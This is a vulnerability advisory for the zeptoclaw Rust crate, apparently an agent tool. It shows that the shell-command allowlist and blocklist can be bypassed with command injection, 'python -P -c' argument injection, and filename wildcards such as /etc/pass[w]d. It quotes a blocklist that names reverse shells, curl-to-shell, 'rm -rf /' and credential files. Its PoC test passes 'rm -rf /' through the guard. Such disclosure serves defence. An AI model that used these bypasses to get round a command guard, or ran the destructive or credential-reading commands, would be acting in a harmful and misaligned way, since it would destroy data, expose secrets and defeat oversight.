PT-2026-25515 · Crates.Io · Zeptoclaw

Published

2026-03-05

·

Updated

2026-03-05

CVSS v3.1

10

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

zeptoclaw implements a allowlist combined with a blocklist to prevent malicious shell commands in src/security/shell.rs. However, even in the Strict mode, attackers can completely bypass all the guards from allowlist and blocklist:
  • to bypass the allowlist, command injection is enough, such as ;, $() etc.
  • to bypass the REGEX BLOCKED PATTERNS, argument injection is enough, such as the python3 -P -c "..."
  • to bypass the LITERAL BLOCKED PATTERNS, file name wildcards can do the work, such as cat /etc/pass[w]d

Details

In code src/security/shell.rs#L218-L243, one can see the allowlist only checks the first token and thus makes command injection possible.
rust
    // Allowlist check (runs after blocklist)
    if self.allowlist mode != ShellAllowlistMode::Off && !self.allowlist.is empty() {
      let first token = command
        .split whitespace()
        .next()
        .unwrap or("")
        .to lowercase();
      // Strip path prefix (e.g. /usr/bin/git -> git)
      let executable = first token.rsplit('/').next().unwrap or(&first token);
      if !self.allowlist.iter().any(|a| a == executable) {
        match self.allowlist mode {
          ShellAllowlistMode::Strict => {
            return Err(ZeptoError::SecurityViolation(format!(
              "Command '{}' not in allowlist",
              executable
            )));
          }
          ShellAllowlistMode::Warn => {
            tracing::warn!(
              command = %command,
              executable = %executable,
              "Command not in allowlist"
            );
          }
          ShellAllowlistMode::Off => {} // unreachable
        }
!self.allowlist.is empty() makes the empty allowlist overlook the allowlist check, if it is in ShellAllowlistMode::Strict mode, empty allowlist should direct reject all the commands.
As the code in src/security/shell.rs#L18-L70, we can find the REGEX BLOCKED PATTERNS only apply s+ in between the command and arguments, making argument injection possible, and the LITERAL BLOCKED PATTERNS just uses specific file name, totally overlooking the file name wildcards:
rust
const REGEX BLOCKED PATTERNS: &[&str] = &[
  // Piped shell execution (curl/wget to sh/bash)
  r"curls+.*|s*(sh|bash|zsh)",
  r"wgets+.*|s*(sh|bash|zsh)",
  r"|s*(sh|bash|zsh)s*$",
  // Reverse shells
  r"bashs+-is+>&s*/dev/tcp",
  r"ncs+.*-es+(sh|bash|/bin)",
  r"/dev/tcp/",
  r"/dev/udp/",
  // Destructive root operations (various flag orderings)
  r"rms+(-[rf]{1,2}s+)*(-[rf]{1,2}s+)*/s*($|;|||&)",
  r"rms+(-[rf]{1,2}s+)*(-[rf]{1,2}s+)*/*s*($|;|||&)",
  // Format/overwrite disk
  r"mkfs(.[a-z0-9]+)?s",
  r"dds+.*if=/dev/(zero|random|urandom).*of=/dev/[sh]d",
  r">s*/dev/[sh]d[a-z]",
  // System-wide permission changes
  r"chmods+(-Rs+)?777s+/s*$",
  r"chmods+(-Rs+)?777s+/[a-z]",
  // Fork bombs
  r":()s*{s*:|:&s*}s*;:",
  r"forks*(s*)",
  // Encoded/indirect execution (common blocklist bypasses)
  r"base64s+(-d|--decode)",
  r"python[23]?s+-cs+",
  r"perls+-es+",
  r"rubys+-es+",
  r"nodes+-es+",
  r"bevals+",
  r"xargss+.*shb",
  r"xargss+.*bashb",
  // Environment variable exfiltration
  r"benvb.*>s*/",
  r"bprintenvb.*>s*/",
];

/// Literal substring patterns (credentials, sensitive paths)
const LITERAL BLOCKED PATTERNS: &[&str] = &[
  "/etc/shadow",
  "/etc/passwd",
  "~/.ssh/",
  ".ssh/id rsa",
  ".ssh/id ed25519",
  ".ssh/id ecdsa",
  ".ssh/id dsa",
  ".ssh/authorized keys",
  ".aws/credentials",
  ".kube/config",
  // ZeptoClaw's own config (contains API keys and channel tokens)
  ".zeptoclaw/config.json",
  ".zeptoclaw/config.yaml",
];

PoC

rust
  #[test]
  fn test allowlist bypass() {
    let config =
      ShellSecurityConfig::new().with allowlist(vec!["git"], ShellAllowlistMode::Strict);
    assert!(config.validate command("/usr/bin/git status; python -P -c 'import os; os.system("rm -rf /")'; cat /etc/pass[w]d").is ok());
  }

Impact

Unauthorized command execution.

Credit

Fix

Command Injection

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-5WP8-Q9MX-8JX8

Affected Products

Zeptoclaw